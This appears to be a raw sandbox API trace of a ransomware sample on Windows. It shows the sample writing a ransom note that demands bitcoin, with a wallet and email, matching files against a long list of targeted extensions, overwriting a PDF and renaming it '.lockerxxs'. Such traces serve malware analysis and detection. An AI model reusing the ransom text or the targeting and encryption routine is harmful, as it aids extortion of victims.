[0068.557] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0068.557] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0068.558] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0068.558] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*.*") returned="*.*" [0068.558] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\" [0068.558] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\") returned="" [0068.558] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\HOW TO DECRYPT FILES.txt" [0068.558] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\how to decrypt files.txt")) returned 0xffffffff [0068.558] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.558] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0068.558] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0068.560] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0068.560] CloseHandle (hObject=0x94) returned 1 [0068.561] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" [0068.561] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0068.561] lstrlenA (lpString="*.ems") returned 5 [0068.561] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.db") returned 0 [0068.561] lstrlenA (lpString="*.db") returned 4 [0068.561] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0068.561] lstrlenA (lpString="*.dbf") returned 5 [0068.561] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0068.561] lstrlenA (lpString="*.myox") returned 6 [0068.561] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0068.561] lstrlenA (lpString="*.myo") returned 5 [0068.561] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0068.561] lstrlenA (lpString="*.qbw") returned 5 [0068.561] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0068.561] lstrlenA (lpString="*.qbb") returned 5 [0068.561] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0068.561] lstrlenA (lpString="*.qbm") returned 5 [0068.561] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0068.561] lstrlenA (lpString="*.qbo") returned 5 [0068.561] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0068.561] lstrlenA (lpString="*.qbx") returned 5 [0068.562] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0068.562] lstrlenA (lpString="*.qba") returned 5 [0068.562] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0068.562] lstrlenA (lpString="*.qby") returned 5 [0068.562] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0068.562] lstrlenA (lpString="*.qbj") returned 5 [0068.562] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0068.562] lstrlenA (lpString="*.ofx") returned 5 [0068.562] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0068.562] lstrlenA (lpString="*.qif") returned 5 [0068.562] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0068.562] lstrlenA (lpString="*.mye") returned 5 [0068.562] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0068.562] lstrlenA (lpString="*.mbox") returned 6 [0068.562] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.562] lstrlenA (lpString="*.eml") returned 5 [0068.562] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0068.562] lstrlenA (lpString="*.pst") returned 5 [0068.562] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0068.562] lstrlenA (lpString="*.ost") returned 5 [0068.562] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0068.563] lstrlenA (lpString="*.idx") returned 5 [0068.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0068.563] lstrlenA (lpString="*.dbx") returned 5 [0068.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0068.563] lstrlenA (lpString="*.sql") returned 5 [0068.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0068.563] lstrlenA (lpString="*.mdb") returned 5 [0068.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0068.563] lstrlenA (lpString="*.fdb") returned 5 [0068.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0068.563] lstrlenA (lpString="*.wab") returned 5 [0068.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0068.563] lstrlenA (lpString="*.dat") returned 5 [0068.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0068.563] lstrlenA (lpString="*.txt") returned 5 [0068.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0068.563] lstrlenA (lpString="*.jpeg") returned 6 [0068.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0068.563] lstrlenA (lpString="*.jpg") returned 5 [0068.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.png") returned 0 [0068.563] lstrlenA (lpString="*.png") returned 5 [0068.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.php") returned 0 [0068.564] lstrlenA (lpString="*.php") returned 5 [0068.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0068.564] lstrlenA (lpString="*.cs") returned 4 [0068.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0068.564] lstrlenA (lpString="*.cpp") returned 5 [0068.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0068.564] lstrlenA (lpString="*.rar") returned 5 [0068.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0068.564] lstrlenA (lpString="*.zip") returned 5 [0068.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.html") returned 0 [0068.564] lstrlenA (lpString="*.html") returned 6 [0068.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0068.565] lstrlenA (lpString="*.htm") returned 5 [0068.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0068.565] lstrlenA (lpString="*.xlsx") returned 6 [0068.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0068.565] lstrlenA (lpString="*.xls") returned 5 [0068.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0068.565] lstrlenA (lpString="*.mp4") returned 5 [0068.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0068.565] lstrlenA (lpString="*.ppt") returned 5 [0068.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0068.565] lstrlenA (lpString="*.pptx") returned 6 [0068.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0068.565] lstrlenA (lpString="*.doc") returned 5 [0068.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0068.565] lstrlenA (lpString="*.dot") returned 5 [0068.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0068.565] lstrlenA (lpString="*.docx") returned 6 [0068.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0068.565] lstrlenA (lpString="*.7z") returned 4 [0068.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0068.566] lstrlenA (lpString="*.tar") returned 5 [0068.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0068.566] lstrlenA (lpString="*.bz2") returned 5 [0068.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0068.566] lstrlenA (lpString="*.gz") returned 4 [0068.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0068.566] lstrlenA (lpString="*.mkv") returned 5 [0068.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.566] lstrlenA (lpString="*.eml") returned 5 [0068.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0068.566] lstrlenA (lpString="*.msg") returned 5 [0068.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0068.566] lstrlenA (lpString="*.edb") returned 5 [0068.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0068.566] lstrlenA (lpString="*.accdb") returned 7 [0068.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0068.566] lstrlenA (lpString="*.odb") returned 5 [0068.566] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.java") returned 0 [0068.567] lstrlenA (lpString="*.java") returned 6 [0068.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0068.567] lstrlenA (lpString="*.asm") returned 5 [0068.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0068.567] lstrlenA (lpString="*.pfx") returned 5 [0068.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0068.567] lstrlenA (lpString="*.pem") returned 5 [0068.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0068.567] lstrlenA (lpString="*.p12") returned 5 [0068.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0068.567] lstrlenA (lpString="*.gpg") returned 5 [0068.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0068.567] lstrlenA (lpString="*.vsd") returned 5 [0068.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0068.567] lstrlenA (lpString="*.odg") returned 5 [0068.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0068.567] lstrlenA (lpString="*.raw") returned 5 [0068.567] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0068.567] lstrlenA (lpString="*.nef") returned 5 [0068.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0068.568] lstrlenA (lpString="*.svg") returned 5 [0068.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0068.568] lstrlenA (lpString="*.psd") returned 5 [0068.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0068.568] lstrlenA (lpString="*.vmx") returned 5 [0068.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0068.568] lstrlenA (lpString="*.vmdk") returned 6 [0068.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0068.568] lstrlenA (lpString="*.vdi") returned 5 [0068.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0068.568] lstrlenA (lpString="*.lay6") returned 6 [0068.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0068.568] lstrlenA (lpString="*.mpeg") returned 6 [0068.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0068.568] lstrlenA (lpString="*.djvu") returned 6 [0068.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0068.568] lstrlenA (lpString="*.tiff") returned 6 [0068.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0068.568] lstrlenA (lpString="*.backup") returned 8 [0068.568] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0068.569] lstrlenA (lpString="*.pdf") returned 5 [0068.569] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" [0068.569] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" [0068.569] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf." [0068.569] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf.lockerxxs" [0068.569] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.569] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5944 [0068.570] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x950fa000, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805da3e0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x950fa000, dwHighDateTime=0x1cb84b4)) returned 1 [0068.570] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.570] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x591e, lpOverlapped=0x0) returned 1 [0068.573] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf") returned="AdobeID.pdf" [0068.573] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.573] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x591e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x591e, lpOverlapped=0x0) returned 1 [0068.573] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.574] CloseHandle (hObject=0x94) returned 1 [0068.575] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf.lockerxxs")) returned 1 [0068.578] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5404, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0068.578] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.578] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0068.578] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0068.578] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0068.578] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf") returned="AdobeID.pdf" [0068.578] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\" [0068.578] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\") returned="" [0068.578] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\HOW TO DECRYPT FILES.txt" [0068.578] 